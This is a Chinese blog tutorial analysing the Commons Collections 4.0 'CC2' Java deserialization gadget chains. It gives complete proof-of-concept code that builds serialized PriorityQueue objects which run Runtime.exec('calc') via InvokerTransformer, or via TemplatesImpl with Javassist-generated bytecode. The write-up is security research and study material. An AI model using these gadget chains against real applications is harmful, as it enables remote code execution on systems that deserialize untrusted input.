CC2分析与利用
CC2分析与利用
环境配置
一、
CC2 需要使用commons-collections-4.0
版本,因为3.1-3.2.1版本中TransformingComparator
没有实现Serializable
接口,不能被序列化,所以CC2不用3.x版本。还需要 javassist 依赖,利用链2需要。
pom.xml 添加:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
二、
-
关于
commons-collections-4.0
:commons-collections-4.0
不再认为是一个用来替换common-collection
的新版本,而是一个新的包。两者的命名空间不冲突,可以共存在同一个项目中。所以在common-collection4-4.0下,依旧能利用common-collection-3.1的调用链,只是换了个包名而已。 -
关于Javassit:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件
三、
环境:
jdk8u71
commons-collections-4.0
利用链1分析
在ysoserial中给了链子,起点类是PriorityQueue.readObject()
。
readObject()
知道调用链就直接正向分析吧,先看它的readObject函数:
调用了heapify函数,跟进:
看到当i>=0
时进入for
循环,i=(size >>> 1) -1
将size进行了右移操作。继续调用了siftDown
方法。
有个if条件,先不管,满足条件后调用了siftDownUsingComparator方法,跟进
看上面的利用链可以看到是利用了TransformingComparator类的compare方法(该类是commons-collections-4.0
特有的)。这里我们需要用的是第二if中的compare方法,为什么不用第一个if中的呢?因为调试后面poc时就是走的第二个,猜测可能是不满足条件。
comparator就是一个接口,而TransformingComparator实现了该接口,所以我们这里要让comparator为TransformingComparator对象,就可以调用TransformingComparator的compare方法了,跟进重写的该方法:
compare()
发现调用了transform方法,并且可以通过控制this.transformer来控制调用哪个对象的transform方法。
可以调用任意对象的transform方法了,剩下的就不用多说了。
链子:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
poc编写
先准备好PriorityQueue
类和TransformingComparator
类,PriorityQueue
类构造函数:
在看看TransformingComparator
的构造函数
我们调用的是第一个,然后第一个会调用第二个构造函数,我们只用传入我们需要执行transform
方法的对象这个参数就行了。
所以先构造:
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
PriorityQueue queue = new PriorityQueue(1,new TransformingComparator(cha));
问题一、heapify方法条件满足
执行后没有弹计算机,因为发现在执行heapify
方法中,需要满足(size >>> 1) - 1 ≥ 0
,意思就是size>2,这个可以通过add方法来向PriorityQueue
对象中存放值,但是具体实现的还是offer函数:
构造poc:
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
PriorityQueue queue = new PriorityQueue(1,new TransformingComparator(cha));
queue.add(1);
queue.add(1);
serilize(pri);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
这次成功弹计算机了,不过在反序列化的时候调试发现根本就没触发方法,看来是序列化的时候出问题了。后面看了师傅们的文章,发现是在add出的问题。
问题二、解决add提前触发
看见add调用offer方法的时候,会调用到sifUp方法,而这个方法又会直接调用到siftUpUsingComparator
导致执行compare
提前弹出计算机。那么我们可以让comparator = null
,让sifUp调用 siftUpComparable
方法,那里面没有compare
方法。
PriorityQueue queue = new PriorityQueue(1);
但待会还是得要 comparator
,所以在 add 执行完后利用反射修改comparator
为Tcomparator
对象
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,new TransformingComparator(cha));
所以最终poc:
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,new TransformingComparator(cha));
serilize(queue);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
利用链2分析
在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;
看了师傅们的分析,这个利用链2无非就是把最后函数调用改为了利用temlatesimpl动态加载字节码来加载恶意类。
直接看到最后compare函数:
我们想要利用temlatesimpl动态加载字节码就需要调用TemplatesImpl.newTransformer()
方法,所以这里this.transformer可以为InvokerTransformer,直接利用InvokerTransformer反射调用TemplatesImpl.newTransformer()(也可以结合cc3不用InvokerTransformer类,利用InstantiateTransformer类来实现调用)。
所以这里obj1参数得为TemplatesImpl对象。向上朔源obj1也就是我们传入的queue[0],待会可以利用反射给其赋值。
动态加载字节码不用多说了:
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
只不过这里的byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
要更换一下,因为上面说了这里引入了Javassit依赖,这个依赖可以直接生成Java生成的字节码(感觉不如直接的class文件好用)。
利用Javassit依赖生成java的class字节码:
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("gaoren");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的gaoren类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] code = payload.toBytecode();
反射设置queue[0]的值
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
剩下的就没什么多说的了,从readObject打到compare方法的利用链和上面是一样的。
poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args)throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("gaoren");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的gaoren类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
TemplatesImpl tem =new TemplatesImpl();
byte[] code = payload.toBytecode();
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
InvokerTransformer inv = new InvokerTransformer("newTransformer", null,null);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,new TransformingComparator(inv));
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
serilize(queue);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~